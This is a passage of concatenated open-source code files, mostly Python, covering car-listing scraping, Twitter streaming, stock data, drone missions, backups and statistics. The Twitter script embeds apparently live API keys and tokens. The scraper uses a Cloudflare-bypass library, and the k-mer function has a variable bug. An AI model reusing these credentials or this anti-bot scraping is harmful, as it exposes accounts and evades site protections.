'/json/fpa/initial/')\nDETAILS_ENDPOINT = urljoin(ROOT, '/car-details/')\nSEARCH_ENDPOINT = urljoin(ROOT, '/car-search')\nSPECS_ENDPOINT = urljoin(ROOT,'/json/taxonomy/technical-specification')\n\nBODY_TYPES = ['Convertible', 'Hatchback', 'Pickup', 'Coupe', 'Estate', 'MPV', 'SUV', 'Saloon']\nPRICE_POINTS = pairwise(range(0, 500000, 1000))\nSEARCH_PARTITION = list(product(PRICE_POINTS,BODY_TYPES))\n# SEARCH_PARTITION = rng.permutation(SEARCH_PARTITION)\n\ndata = []\npartition_ad_count = 0\nglobal_ad_count = 0\nprevious_backup = 0\npage = 1\ntimeouts = 0\nprevious_partitions = []\n\n# Check for previous run\nif Path('partition_reached.tmp').is_file():\n logging.info('Detected previous attempted run - excluding previously searched partitions:')\n with open('partition_reached.tmp', 'r') as f:\n for line in f:\n body_type, price_from, price_to = line.strip().split(',') \n price_from, price_to = int(price_from), int(price_to)\n previous_partitions.append((body_type,(price_from, price_to)))\n print(previous_partitions)\nelse:\n logging.info(f'No previous run detected.')\n\n\nscraper = cfscrape.create_scraper()\n\nfor (price_from, price_to), body_type in SEARCH_PARTITION:\n if (body_type, (price_from, price_to)) in previous_partitions:\n logging.info(f\"Seen partition {body_type} £{price_from}-{price_to} - skipping\")\n continue\n # Get first search of all ads in our partition\n # we do this outside of the loop to retrieve how many pages we can scrape\n page = 1\n params = {'postcode':'eh42ar', 'page': page, 'sort':SORT_KEY, 'price-from':price_from, 'price-to':price_to, 'body-type':body_type}\n search_page = scraper.get(SEARCH_ENDPOINT, params=params)\n soup = bs(search_page.content, 'html.parser')\n max_page = int(soup.find('li', class_='paginationMini__count').contents[3].string.replace(\",\",\"\"))\n delay_s = search_page.elapsed.total_seconds()\n while page < max_page and page < 100:\n logging.info(f'Starting scrape on page {page}/{max_page}')\n ads = soup.body.main.find_all('li', class_='search-page__result')\n ad_idx = 1\n\n if len(ads) == 0:\n print(f\"\\nNo ads for {body_type} £{price_from}-{price_to} page {page}\")\n\n # Drop ads outside search partition as they pollute search space and can cause duplicates\n to_drop = []\n for ad in ads:\n if (ad.span.string == \"Ad\") or (\"like\" in ad.span.string):\n # Skip ads as they pollute our search space\n to_drop.append(ad)\n for ad in to_drop:\n ads.remove(ad)\n \n for ad in ads:\n save_data = True\n try:\n noise = random.gauss(0,1)\n sleep(max(max(delay_s,DELAY) + noise,1))\n status_string = f\"\\rTotal ads {global_ad_count} || {body_type} £{price_from}-{price_to} Page {page}/{max_page} | Ad {ad_idx}/{len(ads)} \"\n print(status_string, end='')\n images = []\n # Get ad page and price\n ad_url = ad.find('a', class_='js-click-handler').attrs['href']\n price = ad.find('div', class_=\"product-card-pricing__price\").find('span').string\n price_float = float(price.strip('£').replace(',',''))\n ad_id = ad.attrs['id']\n ad_page = scraper.get(urljoin(ROOT, ad_url), timeout=TIMEOUT)\n\n # Get correct params from ad page for API to accept the request to JSON endpoint\n try:\n ad_guid = re.search(GUID_PATTERN, str(ad_page.content)).group(1)\n except AttributeError:\n logging.error(\"Can't regex guid\")\n ad_idx += 1\n continue\n details_obj = urlparse(ad_url)\n params = parse_qs(details_obj.query)\n\n # Get raw data used to fill in the ad page from JSON endpoint\n ad_details = scraper.get(urljoin(JSON_ENDPOINT, ad_id), params = {**params, 'guid':ad_guid}, timeout=TIMEOUT)\n ad_json = ad_details.json()\n try:\n image_urls = ad_json['advert']['imageUrls']\n\n for image_url in image_urls[:IMAGES_TO_KEEP]:\n images.append(scraper.get(image_url.replace('/%7Bresize%7D/','/'), timeout=TIMEOUT).content)\n\n desc = ad_json['advert']['description']\n except KeyError:\n logging.error(f\"Missing advert on {status_string}\")\n save_data = False\n try:\n vehicle_data = ad_json['vehicle']\n except KeyError:\n logging.error(f\"Missing vehicle on {status_string}\")\n save_data = False\n try:\n deriv = ad_json['vehicle']['derivativeId']\n specs = scraper.get(SPECS_ENDPOINT, params={'derivative':deriv, 'channel':'cars'}, timeout=TIMEOUT).json()\n except KeyError:\n logging.error(f\"Missing deriv on {status_string}\")\n save_data = False\n partition_ad_count += 1\n global_ad_count += 1\n # Store relevant data in RAM \n if save_data:\n data.append({'price':price, 'price_float': price_float, 'description':desc, 'images':images, 'vehicle': vehicle_data, 'specs':specs, 'guid':ad_guid})\n except requests.Timeout:\n err_msg = f\"\\nTimed out on page {page} ad {ad_idx} - taking a break for 4 seconds and continuing\"\n print(err_msg)\n logging.error(err_msg)\n with open('timeouts.csv', 'a') as f:\n f.write(f'{body_type}, {price_from}, {price_to}, {page},{ad_idx}\\n')\n sleep(4)\n except requests.ConnectionError:\n err_msg = f\"\\nConnection aborted on page {page} ad {ad_idx} - taking a break for 60 seconds and continuing\"\n print(err_msg)\n logging.error(err_msg)\n with open('aborts.csv', 'a') as f:\n f.write(f'{body_type}, {price_from}, {price_to}, {page},{ad_idx}\\n')\n sleep(60)\n ad_idx += 1\n\n if (partition_ad_count - previous_backup) >= BACKUP_FREQ:\n print(\"Backup\")\n logging.info(f'Backup')\n with open(SAVE_DIR / f'backup_{body_type}_{price_from}-{price_to}_{previous_backup}_{partition_ad_count}.pickle', 'wb') as f:\n pkl.dump(data, f, protocol=pkl.HIGHEST_PROTOCOL)\n data = []\n previous_backup = partition_ad_count\n\n\n page += 1\n logging.info('Scraped page - sleeping')\n noise = random.gauss(1,1)\n sleep(max(max(delay_s,DELAY) + noise,1))\n logging.info(f'Moving on to scrape page {page}')\n params = {'postcode':'eh42ar', 'page': page, 'sort':SORT_KEY, 'price-from':price_from, 'price-to':price_to, 'body-type':body_type}\n \n search_page = scraper.get(SEARCH_ENDPOINT, params=params, timeout=TIMEOUT)\n new_delay = search_page.elapsed.total_seconds()\n if new_delay > 5*delay_s:\n logging.warning(f\"Appear to be barraging server, delay went from {delay_s} to {new_delay}, taking a 10s break.\")\n sleep(10)\n delay_s = new_delay\n soup = bs(search_page.content, 'html.parser')\n\n print(\"Partition rounding backup\")\n logging.info('Partition rounding backup')\n with open(SAVE_DIR / f'backup_{body_type}_{price_from}-{price_to}_{previous_backup}_{partition_ad_count}.pickle', 'wb') as f:\n pkl.dump(data, f, protocol=pkl.HIGHEST_PROTOCOL)\n data = []\n partition_ad_count = 0\n previous_backup = 0\n\n with open('partition_reached.tmp', 'a') as g:\n g.write(f'{body_type},{price_from},{price_to}\\n')\n","repo_name":"Llamrei/autotrader_scraper","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":9821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6844681606","text":"\ndef get_kmer_occurences(seq, kmer_len):\n \"\"\"\n return a list of tuple \n each tuple contains a kmers present in seq and its occurence\n \"\"\"\n kmers = {}\n stop = len(seq) - kmer_len\n for i in range(stop + 1):\n kmer = s[i : i + kmer_len]\n kmers[kmer] = kmers.get(kmer, 0) + 1\n return kmers.items()","repo_name":"C3BI-pasteur-fr/python-solutions-1","sub_path":"source/_static/code/kmer.py","file_name":"kmer.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30264354233","text":"#!/bin/python3\n\nimport sys\nimport argparse\nimport rclpy\nfrom as2_python_api.drone_interface import DroneInterface\nfrom mission import run_mission, shutdown_all\n\n\ndef main():\n \"\"\" Main \"\"\"\n parser = argparse.ArgumentParser(\n description=\"Starts gates mission for crazyswarm in either simulation or real environment\")\n parser.add_argument('-s', '--simulated',\n action='store_true', default=False)\n\n input_args = parser.parse_args()\n\n rclpy.init()\n\n drones_namespaces = ['cf0', 'cf1']\n drones = []\n for namespace in drones_namespaces:\n drones.append(\n DroneInterface(\n namespace,\n verbose=False,\n use_sim_time=input_args.simulated))\n\n # Gates\n gates_namespaces = ['gate_0/link', 'gate_1/link']\n if input_args.simulated:\n print(\"Mission running in simulation mode\")\n gates_heights = [2.0, 2.0]\n else:\n print(\"Mission running in real mode\")\n gates_heights = [0.8, 0.8]\n gates_desp_x = [1.0, 1.0]\n gates_desp_y = [0.0, 0.0]\n\n # Run mission\n run_mission(\n drones,\n gates_namespaces,\n gates_heights,\n gates_desp_x,\n gates_desp_y)\n\n print(\"Shutdown\")\n shutdown_all(drones)\n rclpy.shutdown()\n sys.exit(0)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"aerostack2/project_crazyflie_gates","sub_path":"mission_swarm.py","file_name":"mission_swarm.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35099284904","text":"# -*- coding: utf-8 -*-\n\"\"\"SchemaParser v0.0.1\n\nThis module defines the SchemaParser for the v0.0.1 of the survey schema\n\n\"\"\"\n\n\nfrom app.parser.abstract_schema_parser import AbstractSchemaParser\nfrom app.parser.schema_parser_exception import SchemaParserException\n\n\nclass SchemaParser(AbstractSchemaParser):\n \"\"\"SchemaParser class\n\n Implements the inteface defined in the AbstractSchemaParser class\n\n \"\"\"\n\n def __init__(self, schema):\n \"\"\"Initialise the parser with the schema\n\n :param schema: the schema json object or dict\n\n \"\"\"\n self._version = \"0.0.1\"\n self._schema = schema\n\n def get_parser_version(self):\n \"\"\"Return which version of the parser\n\n :returns: The version number as a string, e.g. \"0.0.1\"\n\n \"\"\"\n return self._version\n\n def parse(self):\n \"\"\"Parse the schema\n\n :raises: A SchemaParserException if there is a problem while parsing the schema\n\n \"\"\"\n if \"groups\" in self._schema.keys():\n for group_schema in self._schema['groups']:\n self._parse_group(group_schema)\n else:\n raise SchemaParserException('Questionnaire must contain at least one group')\n\n def _parse_group(self, schema):\n \"\"\"Parse a group element\n\n :param schema: The group schema\n\n :raises: SchemaParserException\n\n \"\"\"\n\n if \"blocks\" in schema.keys():\n for block_schema in schema['blocks']:\n self._parse_block(block_schema)\n else:\n raise SchemaParserException('Group must contain at least one block')\n\n def _parse_block(self, schema):\n \"\"\"Parse a block element\n\n :param schema: The block schema\n\n :raises: SchemaParserException\n\n \"\"\"\n\n if \"sections\" in schema.keys():\n for section_schema in schema['sections']:\n self._parse_section(section_schema)\n else:\n raise SchemaParserException('Block must contain at least one section')\n\n def _parse_section(self, schema):\n \"\"\"Parse a section element\n\n :param schema: The section schema\n\n :raises: SchemaParserException\n\n \"\"\"\n\n if 'questions' in schema.keys():\n for question_schema in schema['questions']:\n self._parse_question(question_schema)\n else:\n raise SchemaParserException('Section must have at least one question')\n\n @staticmethod\n def _parse_question(schema):\n \"\"\"Parse a question element\n\n :param schema: The question schema\n\n :raises: SchemaParserException\n\n \"\"\"\n if 'answers' not in schema.keys():\n raise SchemaParserException('Question must contain at least one answer')\n","repo_name":"tej99/eq-survey-runner","sub_path":"app/parser/v0_0_1/schema_parser.py","file_name":"schema_parser.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"38478734757","text":"# -*- coding:utf-8 -*-\n\"\"\"\nQuery stock trade data bases on existing platforms.\n\nAuthor: https://github.com/CharlieZhao95\n\"\"\"\nimport os\nimport baostock as bs\n\nfrom baostock.common import contants as bs_const\n\nfrom easyquant.data.stock_metadata import *\nfrom easyquant.common.logger import *\n\nlogger = logging.getLogger(__name__)\n\n\nclass TradeDataSearcher(object):\n \"\"\"\n Query stock trade data bases on baostock package.\n\n Example to use constructor and query trade data:\n\n >>> stock_info = StockMetadata('sh.603986', '兆易创新', ['半导体', '芯片'])\n >>> searcher = TradeDataSearcher(stock_metadata=stock_info)\n >>> trade_info = TradeMetadata()\n >>> k_data = searcher.query_stock_k_line_data(trade_metadata=trade_info)\n >>> k_data is not None\n True\n \"\"\"\n\n def __init__(self, stock_metadata: StockMetadata):\n logger.info(\"Trade data searcher is running.\")\n\n self.stock_metadata = stock_metadata\n # login database system\n lg = bs.login()\n if lg.error_code != bs_const.BSERR_SUCCESS:\n logger.warning(\"login respond error code {}, \"\n \"with msg {}\".format(lg.error_code, lg.error_msg))\n else:\n logger.info(\"login success\")\n\n def query_stock_k_line_data(self, trade_metadata: TradeMetadata):\n \"\"\" Query stock K-line data from baostock \"\"\"\n k_data = bs.query_history_k_data_plus(self.stock_metadata.code,\n trade_metadata.query_param,\n start_date=trade_metadata.trade_time[0],\n end_date=trade_metadata.trade_time[1])\n\n if k_data.error_code != bs_const.BSERR_SUCCESS:\n logger.warning(\"query {} k history data fail, respond error code {}, \"\n \"with msg {}\".format(self.stock_metadata.code, k_data.error_code, k_data.error_msg))\n return None\n return k_data\n\n def save_data_to_csv(self, data, root_path, file_name=\"default\"):\n \"\"\" Save stock historical data to csv file \"\"\"\n dir_path = \"{}\\\\{}_{}\".format(root_path,\n self.stock_metadata.code,\n self.stock_metadata.name)\n if not os.path.exists(dir_path):\n os.mkdir(dir_path)\n save_path = \"{}\\\\{}.csv\".format(dir_path, file_name)\n data.to_csv(save_path, index=False)\n","repo_name":"CharlieZhao95/easy-quant","sub_path":"easyquant/data/trade_data_searcher.py","file_name":"trade_data_searcher.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15299469967","text":"import pandas as pd\n\ntit = pd.read_csv('titanic.csv') # leitura do arquivo 'titanic.csv'\n\n\ntit = tit[['Name', 'Age', 'Sex','Pclass','Survived']] #seleciona colunas específicas\n\ntit = tit.loc[(tit['Survived']==1) & (tit['Pclass'] == 1) & (tit['Sex'] == 'female')] #adiciona filtros\n\ntit = tit.sort_values(['Name'], ascending= True) #organiza os dados em ordem alfabética \n\ntit.to_csv('titanic_result.csv') #cria um arquivo csv com as novas modificações","repo_name":"ruben-sa-brito/data_science","sub_path":"projeto 1/titan.py","file_name":"titan.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2232748902","text":"from rest_framework_simplejwt.tokens import RefreshToken\nfrom django.core.mail import EmailMessage\nimport threading\n\n\n\ndef get_tokens_for_user(user):\n refresh = RefreshToken.for_user(user)\n\n return {\n 'refresh': str(refresh),\n 'access': str(refresh.access_token),\n }\n\n\nclass EmailThread(threading.Thread):\n\n def __init__(self, email):\n self.email = email\n threading.Thread.__init__(self)\n\n def run(self):\n self.email.send()\n\n\nclass Util:\n @staticmethod\n def send_email(data):\n EmailMessage(\n subject=data['email_subject'], body=data['email_body'], to=[data['to_email']])\n # EmailMessage(\n # subject=data['email_subject'], body=data['email_body'], to=[data['to_email']])\n # EmailThread(email).start()","repo_name":"shyamayadav154/django-action","sub_path":"accounts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"3625821809","text":"# estimate the (effective) bid-ask spread, and compare it with illiquidity measure(Amihud,2002), turnover ...\n# Critical Review:中国股票的换手率太高(流动性较好),而上述方法更适合非流动性股票(可以尝试按size-liquidity进行分组,再分别计算不同测度之间的相关性)\n\nimport pandas as pd\nfrom pandas import DataFrame, Series\nimport numpy as np\nfrom pandas.tseries.offsets import YearEnd\nfrom datetime import datetime\nimport time\nimport os\nimport h5py\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\ndef import_data():\n global data_path, amount, size_free, size_tot, adj_open, adj_close, adj_high, adj_low, low, high, close\n data_path = '/Users/harbes/data/xccdata'\n # data_path='F:/data/xccdata'\n data_set = 'PV_datetime'\n Vars = ['size_tot', 'size_free', 'adj_close', 'adj_open', 'adj_high', 'adj_low', 'amount', 'low', 'high', 'clsprc']\n data = pd.read_pickle(data_path + '/' + data_set)[Vars]\n amount = data['amount'].unstack() * 0.1 # 保持单位与size一致\n size_free = data['size_free'].unstack()\n size_tot = data['size_tot'].unstack()\n adj_open = data['adj_open'].unstack()\n adj_close = data['adj_close'].unstack()\n adj_high = data['adj_high'].unstack()\n adj_low = data['adj_low'].unstack()\n close = data['clsprc'].unstack()\n low = data['low'].unstack()\n high = data['high'].unstack()\n\n\ndef import_bid_ask_data():\n rootdir='I:/tickhdf_stk'\n savedir='F:/data/xccdata/bid_ask'\n #rootdir = '/Users/harbes/data/xccdata/bid_ask'\n # rootdir = 'F:/data/xccdata/bid_ask'\n li_ = [i for i in os.listdir(rootdir) if not i.endswith('_') and not i.endswith('.h5')] # 列出文件夹下所有的目录与文件\n os.mkdir(savedir + '/effective_spread_') # 生成文件夹\n now0 = time.time()\n for i in li_[150:]: # Mac要额外注意 # Series&np.array 一天数据大约需要12s\n # path = rootdir + '/' + i\n f = h5py.File(rootdir+ '/' + i, 'r')\n effective_spread = Series(np.nan, index=np.array(f['stk']))\n for stk in f['stk']: # ['603611']:#['000031']:# ['000504']\n bid = np.array(f['stk'][stk]['bidPrc_1']) # Series(f['stk'][stk]['bidPrc_1']) #\n ask = np.array(f['stk'][stk]['askPrc_1']) # Series(f['stk'][stk]['askPrc_1'])#\n prc = np.array(f['stk'][stk]['lastPrc']) # Series(f['stk'][stk]['lastPrc']) #\n volume = Series(f['stk'][stk]['volume']) # np.array(f['stk'][stk]['volume'])[(bid>0) & (ask>0)] #\n volume = volume.diff(1).fillna(volume[0])\n # DataFrame({'bid': bid, 'ask': ask, 'prc': prc, 'volume': volume})#, 'trend':trend})\n tmp = np.sum((volume * prc)[(bid > 0) & (ask > 0)])\n effective_spread[stk] = 0 if tmp == 0 else 2 * np.sum(\n (np.abs(2 * prc / (bid + ask) - 1) * volume * prc)[(bid > 0) & (ask > 0)]) / tmp\n # effective_spread[effective_spread <= 0] = np.nan # 也可以把所有数据归总后再设置\n effective_spread.to_pickle(savedir + '/effective_spread_/' + i)\n print(time.time() - now0)\n\n\n\ndef calculate_liquidity_measures():\n global spread, illiquidity, turnover\n # paper: 【RFS.2017】A Simple Estimation of Bid-Ask Spreads from Daily Close, High, and Low Prices\n # spread = 2*np.sqrt(np.maximum((np.log(close) - np.log(high * low) * 0.5) * (np.log(close) - np.log((high * low).shift(-1)) * 0.5),0))\n spread = 2 * np.sqrt(np.maximum((np.log(adj_close) - np.log(adj_high * adj_low) * 0.5) * (\n np.log(adj_close) - np.log((adj_high * adj_low).shift(-1)) * 0.5), 0))\n illiquidity = np.abs((adj_close - adj_open) / adj_open) * 10000 / amount\n turnover = amount / size_free\n\n\ndef resample_data():\n global spread, illiquidity, turnover\n key = lambda x: x.year * 100 + x.month\n spread = spread.groupby(key).mean() * 100\n illiquidity = illiquidity.groupby(key).mean()\n turnover = turnover.groupby(key).sum()\nif __name__ is '__main__':\n import_data()\n calculate_liquidity_measures()\n resample_data()\n spread.corrwith(illiquidity).mean()\n spread.corrwith(turnover).mean() # spread与turnover正相关\n turnover.corrwith(illiquidity).mean()\n spread.T.corrwith(illiquidity.T).mean()\n spread.T.corrwith(turnover.T).mean()\n turnover.T.corrwith(illiquidity.T).mean()\n spread.corrwith(1 / close).mean()\n spread.T.corrwith(\n 1 / close.T).mean() # estimated-spread has a higher cross-sectional correlation with the reciprocal of close pric\n","repo_name":"Harbes/python","sub_path":"quant_bid_ask_spread.py","file_name":"quant_bid_ask_spread.py","file_ext":"py","file_size_in_byte":4511,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"15782397092","text":"files = ['input.txt', 'inputTest.txt']\nwith open(files[0], 'r') as f:\n data = [x.strip() for x in f.readlines()]\n\ndef run(partTwo, data):\n total = 0\n if not partTwo:\n for i in data:\n char = str(set(i[0:(len(i)//2)]).intersection(set(i[(len(i)//2):])).pop())\n if char.islower(): total += ord(char) - ord(\"a\") + 1\n else: total += ord(char) - ord(\"A\") + 27\n else:\n for i in range(len(data)//3):\n char = str(set(data[(i*3)]).intersection(set(data[(i*3)+1]), set(data[(i*3)+2])).pop())\n if char.islower(): total += ord(char) - ord(\"a\") + 1\n else: total += ord(char) - ord(\"A\") + 27\n\n return total\n\nprint(\"Part 1: \", run(False, data))\nprint(\"Part 2: \", run(True, data))\n","repo_name":"nabihestefan/AdventOfCode","sub_path":"Python/2022/day03/day03.py","file_name":"day03.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37891741206","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport requests\nfrom requests.auth import HTTPBasicAuth\nimport hashlib\nimport json\nfrom time import time\nimport tarfile\n\nKEY_ID = os.getenv(\"KEY_ID\")\nKEY = os.getenv(\"KEY\")\n\nBUCKET_ID = \"90b6fa139c49d24d8b37051c\"\nBASE_URL = \"https://api.backblazeb2.com/b2api/v2\"\n\n\n# https://docs.python.org/3/library/tarfile.html#examples\ndef reset_tarinfo(tarinfo: tarfile.TarInfo):\n tarinfo.uid = 0\n tarinfo.gid = 0\n tarinfo.uname = \"root\"\n tarinfo.gname = \"root\"\n return tarinfo\n\n\ndef main():\n os.chdir(sys.path[0])\n tar_path = os.path.join(sys.path[0], \"images.tar\")\n\n if os.path.exists(tar_path):\n os.unlink(tar_path)\n\n with tarfile.open(tar_path, \"w\") as fp:\n fp.add(\"images/\", filter=reset_tarinfo)\n\n is_upload = input(\"Do you want to continue the process to upload? (Y/n) \")\n if is_upload.lower() != \"y\":\n return\n\n print(\"(i) get auth token\")\n res = requests.get(\n f\"{BASE_URL}/b2_authorize_account\", auth=HTTPBasicAuth(KEY_ID, KEY)\n )\n res_data = res.json()\n api_url = res_data.get(\"apiUrl\", \"\")\n auth_token = res_data.get(\"authorizationToken\", \"\")\n res.close()\n\n print(\"(i) getting upload url\")\n res = requests.post(\n f\"{api_url}/b2api/v2/b2_get_upload_url\",\n headers={\"Authorization\": auth_token},\n json={\"bucketId\": BUCKET_ID},\n )\n res_data = res.json()\n upload_url = res_data.get(\"uploadUrl\")\n upload_token = res_data.get(\"authorizationToken\")\n res.close()\n\n print(\"(i) uploading backup file\")\n start_time = time()\n with open(\"./images.tar\", \"rb\") as fp:\n content = fp.read()\n sha1 = hashlib.sha1(content).hexdigest()\n name = os.path.basename(fp.name)\n\n res = requests.post(\n upload_url,\n headers={\n \"Authorization\": upload_token,\n \"Content-Type\": \"application/x-tar\",\n \"X-Bz-File-Name\": name,\n \"X-Bz-Content-Sha1\": sha1,\n \"Accept-Encoding\": None,\n },\n data=content,\n stream=True,\n )\n print(json.dumps(res.json(), indent=4))\n res.close()\n\n end_time = time()\n print(f\"(i) done, took {end_time - start_time}s\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"altbdoor/d2-memento","sub_path":"script/backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"70430758774","text":"# Funciones con retorno de valor\n\ndef multiplicar(num1,num2):\n mult = num1*num2\n return mult\n\nprint(multiplicar(3,4))\n\ndef prueba():\n return \"Hola\",4,[2,1,3]\nc,n,l = prueba()\n\nprint(c)\nprint(n)\nprint(l)","repo_name":"CarolinaEM1/FuncionesPt.2","sub_path":"Funciones pt.2.py","file_name":"Funciones pt.2.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25199048752","text":"# this following code will gather all the upcoming tweets ab a particular event\n# once the code is executed, data will be appended in python.json\n# https://marcobonzanini.com/2015/03/02/mining-twitter-data-with-python-part-1/\nfrom tweepy import Stream\nfrom tweepy.streaming import StreamListener\n\nfrom tweepy import OAuthHandler\n\nconsumer_key = '7iv3cn2Dr3BfnBnZppazPR5tU'\nconsumer_secret = 'BQgI9TVlbZqBCVJ7vcVTPb11s57wz2dy2lc9NbVK5ZWCBN2iIP'\naccess_token = '917657381676367872-Nzkcp184h6jFzGIirn8SMrZg2DDqFMm'\naccess_secret = 'SKKc28qcS8EJUmgR601qgFpWzFeRZl0N9nTNu7F1cY4mW'\n\n\n#In order to authorise our app to access Twitter on our behalf, we need to use the OAuth interface:\nauth = OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_secret)\n\n\nclass MyListener(StreamListener):\n\n def on_data(self, data):\n try:\n with open('python.json', 'a') as f:\n f.write(data)\n return True\n except BaseException as e:\n print(\"Error on_data: %s\" % str(e))\n return True\n\n def on_error(self, status):\n print(status)\n return True\n\ntwitter_stream = Stream(auth, MyListener())\ntwitter_stream.filter(track=['#python'])\n","repo_name":"iamaureen/Misc","sub_path":"TwitterData/twitterstream.py","file_name":"twitterstream.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34439354772","text":"\"\"\"\na pure-python implementation of exponential random graph models (ERGMs). Adapted from https://github.com/jcatw/ergm\n\nClasses:\n ergm: uses adjacency matrix representation for graphs\n\"\"\"\nimport time\n\nimport numpy as np\nimport math\nfrom scipy import sparse\n\nfrom util import index_to_edge, log_msg\n\n\nclass ERGM:\n def __init__(self, stats, params, delta_stats=None, directed=False, use_sparse=False):\n \"\"\"\n Construct an ergm over binary graphs (i.e. edges present or absent) with specified vector of statistics. In\n this ensemble, the probability density function is given by\n\n $$ P(G | \\\\theta) = \\\\frac{1}{Z} exp(\\\\sum_a k_a(G) \\\\theta_a) $$\n\n where the functions $k_a$ are the components of `stats`, the coefficients $\\\\theta_a$ are specified by `params`.\n\n :param stats: a function which takes a graph as an argument and returns a vector of statistics\n :param params: an iterable of numerical values.\n :param delta_stats: a function which takes a binary adjacency matrix and a pair of indices as input, and returns\n the difference in stats (stats with edge) - (stats without edge)\n :param directed: Boolean, whether graphs in this ensemble are directed\n \"\"\"\n self.stats = stats\n self.delta_stats = delta_stats\n if self.delta_stats is None:\n self.delta_stats = self._naive_delta_stats\n self.theta = np.array(params)\n self.directed = directed\n self.use_sparse = use_sparse\n\n # some extra bits and bobs\n # self.expected_stats = np.zeros(len(stats))\n # self.expected_other = {} # for storing expected values of other stats\n\n # backend for sampling\n self.current_adj = np.zeros(0) # when sampling, keep the current state of the MCMC\n self.current_stats = np.zeros(0)\n self.current_logweight = 0.0 # the logweight of the current adjacency matrix\n self.proposed_stats = np.zeros(0)\n self.proposed_logweight = 0.0\n # self.last_evaluated = np.zeros(0) # maybe will just be a hash; some way of caching computations\n\n # self._Z = dict()\n\n def _initialize_dense_adj(self, n, reset_stats=False):\n \"\"\"Initialize self.current_adj to an `n x n` zeros matrix.\"\"\"\n self.current_adj = np.zeros((n, n), dtype=int)\n if reset_stats:\n self.current_stats = self.stats(self.current_adj)\n # self.current_logweight = np.dot(self.current_stats, self.theta)\n self.current_logweight = self.theta.dot(self.current_stats)\n\n def _initialize_sparse_adj(self, n, prealloc_coords=None, prealloc_data=None, reset_stats=True):\n \"\"\"\n Initialize self.current_adj as a sparse matrix with preallocated structure, if specified.\n Specifying a structure will speed up the sampling, since every time an edge is toggled,\n it won't have to reallocate space for the underlying data of the matrix.\n\n :param n: Number of nodes; generates\n\n :param prealloc_coords: The matrix coordinates which are to be explicitly stored (even if they are zeros).\n Passed as a `2 x m` numpy array, where `m` is the number of preallocated edges.\n\n :param prealloc_data: The data to be stored in the matrix (if None, defaults to zeros)\n\n :param reset_stats: If true, compute the statistics of the new matrix and save the results (default True)\n\n :return: Does not return anything; modifies the internal state of the object\n \"\"\"\n if prealloc_coords is None:\n self.current_adj = sparse.csr_matrix((n, n), dtype=int) # set up an empty matrix\n else:\n m = prealloc_coords.shape[1]\n if prealloc_data is None:\n prealloc_data = np.zeros(m, dtype=int)\n self.current_adj = sparse.csr_matrix((prealloc_data, (prealloc_coords[0], prealloc_coords[1])), shape=(n, n))\n if reset_stats:\n self.current_stats = self.stats(self.current_adj)\n self.current_logweight = self.theta.dot(self.current_stats)\n\n def _sparse_adj_drop_zeros(self):\n \"\"\"\n Compress the current adjacency matrix by dropping the explicit 0s stored in the data.\n \"\"\"\n # turns out there's an in-place function for this!\n self.current_adj.eliminate_zeros()\n\n def _sparse_adj_add_zeros(self, alloc_coords, alloc_data=None):\n \"\"\"\n Allocate space for the specified data in the specified locations, storing explicit zeros if need be.\n :param alloc_coords: A `2 x m` numpy array of matrix indices to allocate\n :param alloc_data: Data\n :return:\n \"\"\"\n cur_shape = self.current_adj.shape()\n I, J, V = sparse.find(self.current_adj)\n # csr_matrix((data, (row_ind, col_ind)), [shape=(M, N)])\n if alloc_data is None:\n alloc_data = np.zeros(alloc_coords.shape[1])\n self.current_adj = sparse.csr_matrix((np.stack(V, alloc_data),\n (np.stack(I, alloc_coords[0]), np.stack(J, alloc_coords[1]))),\n shape=cur_shape)\n\n def eval_stats(self, adj):\n \"\"\"\n Compute the statistics of this ergm on the given adjacency matrix.\n\n :param adj: adjacency matrix\n :return: numpy array, vector of length `len(self.stats)`\n \"\"\"\n # TODO implement some hashing/caching to avoid repeated computations\n # return np.array([f(adj) for f in self.stats])\n return self.stats(adj)\n\n def _naive_delta_stats(self, g, u, v, recompute_current=False):\n \"\"\"\n Compute the difference between the stats of the current adjacency matrix and the adjacency matrix with edge\n `(u,v)` toggled (returns $k(g) - k(g')$).\n\n :param g: graph in question\n :param u: first vertex\n :param v: second vertex\n :param recompute_current: If true, compute the stats of the current adjacency matrix\n :return: the difference $k(g) - k(g')$\n\n This is fairly inefficient as it will compute the stats of the entire matrix, possibly twice.\n \"\"\"\n # TODO think through a way to keep track of whether current_stats is actually current\n if recompute_current:\n self.current_stats = self.eval_stats(g)\n self._toggle_current_edge(u, v) # flip the edge\n new_stats = self.eval_stats(g) # compute the new stats\n self._toggle_current_edge(u, v) # flip the edge back\n return self.current_stats - new_stats\n\n def 